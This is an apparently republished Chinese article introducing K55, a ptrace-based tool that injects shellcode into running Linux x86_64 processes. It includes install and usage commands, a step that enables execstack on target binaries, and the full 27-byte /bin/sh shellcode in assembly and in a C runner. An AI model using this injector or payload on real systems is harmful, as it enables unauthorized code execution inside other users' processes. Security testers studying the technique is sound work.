首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >如何使用K55实现Linux x86_64进程注入

如何使用K55实现Linux x86_64进程注入

作者头像
FB客服
发布2021-03-09 15:06:44
发布2021-03-09 15:06:44
1.1K0
举报
文章被收录于专栏:FreeBufFreeBuf

关于K55

K55是一款 Payload注入工具,该工具可以向正在运行的进程注入x86_64 shellcode Payload。该工具使用现代C++11技术开发,并且继承了某些传统的C Linux函数,比如说ptrace()等等。在目标进程中生成的shellcode长度为27个字节,并且能够在目标进程的地址空间中执行/bin/sh(生成一个Bash shell)。将来,我们还会支持允许用户通过命令行参数输入自己的shellcode。

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地,然后完成工具的安装、构建与配置:

代码语言:javascript
复制
git clone https://github.com/josh0xA/K55.git

cd K55

chmod +x build-install.sh

./build-install.sh

K55使用

代码语言:javascript
复制
Usage: ./K55 <process-name>

上述命令中的process-name进程名可以是任何带有r-xp或execstack权限的Linux进程。

测试

测试1 - 打开一个命令行窗口,切换至K55/目录下,然后运行下列命令:

代码语言:javascript
复制
./k55_example_process/k55_test_process

测试2 - 打开另一个命令行窗口,通过下列命令运行注入器:

代码语言:javascript
复制
sudo ./K55 k55_test_process

K55使用样例

当K55的shellcode注入器以root权限运行之后,将会在k55_test_process中生成一个shell。

向给定进程注入Payload:

在目标进程中生成Shell:

注入成功并生成Shell:

工具限制

很明显,针对ptrace的调用肯定不够隐蔽。因此,还是会有一些应用可以限制K55的功能。不过,对于安全测试来说,我们还需要确保目标应用程序启用了execstack。比如说,如果我在gdb上进行测试,那么在注入之前,我需要运行下列命令:

代码语言:javascript
复制
sudo execstack -s /usr/bin/gdb

如果你是用的是Arch Linux,你可以直接在AUR中找到execstack。

制作Shell Payload

注意:在下面给出的例子中,Payload字符串已经硬编码进了K55之中。

Payload汇编代码实现

代码语言:javascript
复制
main:

    xor eax, eax

    mov rbx, 0xFF978CD091969DD1

    neg rbx

    push rbx

    push rsp

    pop rdi

    cdq

    push rdx

    push rdi

    push rsp

    pop rsi

    mov al, 0x3b

Syscall

Payload的C语言实现

代码语言:javascript
复制
#include <stdio.h>

#include <string.h>

// Shellcode breakdown of the assembly code.

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{

    printf("len:%d bytes\n", strlen(code));

    (*(void(*)()) code)();

    return 0;

}

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

K55:点击底部【阅读原文

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-20,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 关于K55
  • 工具安装
  • K55使用
    • 测试
  • K55使用样例
    • 向给定进程注入Payload:
    • 在目标进程中生成Shell:
    • 注入成功并生成Shell:
  • 工具限制
  • 制作Shell Payload
    • Payload汇编代码实现
    • Payload的C语言实现
  • 许可证协议
  • 项目地址
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档